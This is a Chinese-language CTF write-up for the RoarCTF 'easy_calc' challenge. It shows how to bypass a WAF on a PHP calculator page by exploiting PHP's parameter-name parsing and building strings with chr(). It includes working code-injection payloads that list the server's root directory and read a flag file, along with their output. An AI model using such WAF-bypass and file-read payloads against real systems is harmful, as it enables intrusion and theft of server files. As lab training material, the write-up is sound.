[Roarctf]easy_calc
0x00 基础
php内置读取文件内容函数
1 | file_get_contents() |
目录扫描函数
1 | scandir() |
字符转换函数
1 | hex2bin("979797")->"aaa" |
输出函数
1 | var_dump() |
parse_str
函数通常被自动应用于get
、post
请求和cookie
中。使用parse_str
解析规则绕过waf
0x01 分析
查看源码,发现calc.php
1 | <script> |
进入calc.php,进行代码审计。
1 |
|
0x02 开始操作
传入1+1
显示403 Forbidden
传入1%2b1
就可以。必须传入url编码后的。查看phpinfo()
,也是403 Forbidden
,利用PHP自动解析函数parser_str()
绕过,详细介绍查看参考连接。
扫描目录使用scandir()
因为/ ' "
被过滤无法直接使用/
,使用chr()
转换payload= ?+num=print_r(scandir(chr(47)))
1 | Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1 |
使用PHP内置函数获file_get_contents()
获取文件内容payload=?+num=printf(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1 | flag{d09c31b7-d1a1-45a2-b35b-65452a1335ef} 43 |